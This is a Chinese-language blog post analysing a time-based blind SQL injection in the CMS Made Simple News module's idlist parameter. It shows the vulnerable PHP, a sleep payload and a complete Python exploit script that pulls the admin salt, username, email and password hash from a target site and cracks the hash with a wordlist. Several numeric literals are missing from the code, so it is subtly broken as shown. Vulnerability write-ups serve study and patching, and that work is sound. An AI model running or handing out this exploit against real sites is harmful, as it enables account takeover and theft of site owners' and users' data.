前言
刚好前一段时间分析了这个cms的一个插件showtime的一个任意文件上传漏洞,大家还可以在从往期的文章中找到这漏洞链接如下
CMSMS模块Showtime2任意文件上传漏洞CVE-2019-9692分析 附利用POC
刷漏洞的时候刚好看到了这个漏洞,然后在网上没有看到公开的介绍这个漏洞的文章于是就安装了两个版本的cmsmc比较了一下,还是想说,如果分析一个cms不想从头开始查看代码的话,最便捷的方式也就是不同版本的代码比对了。
废话不多说了,开始介绍漏洞然后实现攻击。
环境介绍
这个cms的源码比较特别,只有一个安装文件,所以要分析两个版本的cms的话需要安装两遍
漏洞分析
通过代码比对工具可以快速定位到cms关键代码
位置在
/modules/News/action.default.php
复制
if( isset($params['idlist']) ) {
$idlist = $params['idlist'];
if( is_string($idlist) ) {
$tmp = explode(',',$idlist);
for( $i = ; $i < count($tmp); $i++ ) {
$tmp[$i] = (int)$tmp[$i];
if( $tmp[$i] < ) unset($tmp[$i]);
}
$idlist = array_unique($tmp);
$query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
}
}
复制
其中
$params['idlist']
是可控的,可以直接通过get的方式获得,这也是这个cms传入值的一个方式。
其中
$query
是字符串拼接而成的一个sql语句,这如上代码中如果符合要求的话,继续拼接sql语句,意义在于给sql语句加上限制条件。其中
$idlist
可以控制 直接带入了查询语句,造成注入。
下面简单研究一下payload的构造
依然是在
/modules/News/action.default.php
复制
文件中,可以看到整个sql语句是:
$query1 = "
SELECT SQL_CALC_FOUND_ROWS
mn.*,
mnc.news_category_name,
mnc.long_name,
u.username,
u.first_name,
u.last_name
FROM " .CMS_DB_PREFIX . "module_news mn
LEFT OUTER JOIN " . CMS_DB_PREFIX . "module_news_categories mnc
ON mnc.news_category_id = mn.news_category_id
LEFT OUTER JOIN " . CMS_DB_PREFIX . "users u
ON u.user_id = mn.author_id
WHERE
status = 'published'
AND
";
......
$query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
复制
其中
CMS_DB_PREFIX
,是用户安装的定义的固定值,不用考虑
SELECT SQL_CALC_FOUND_ROWS
mn.*,
mnc.news_category_name,
mnc.long_name,
u.username,
u.first_name,
u.last_name
FROM cms_module_news mn
LEFT OUTER JOIN cms_module_news_categories mnc
ON mnc.news_category_id = mn.news_category_id
LEFT OUTER JOIN cms_users u
ON u.user_id = mn.author_id
WHERE
status = 'published'
AND
mn.news_id IN (implode(',',$idlist));
复制
mysql中in是一个很有用的东西 in的格式为(v1,v2,v3)
于是我们的paylaod可以是
,,,)) and sleep() —+
复制
这是一个很简单的注入 我们可以测试一下可以发现时间延长了2秒可以进行基于时间的盲注
利用脚本
下面给出的是一个从爆破salt 到用户名 再到密码的一个脚本
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME =
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()
复制
漏洞复现
按照上述的安装方法安装之后,直接运行脚本: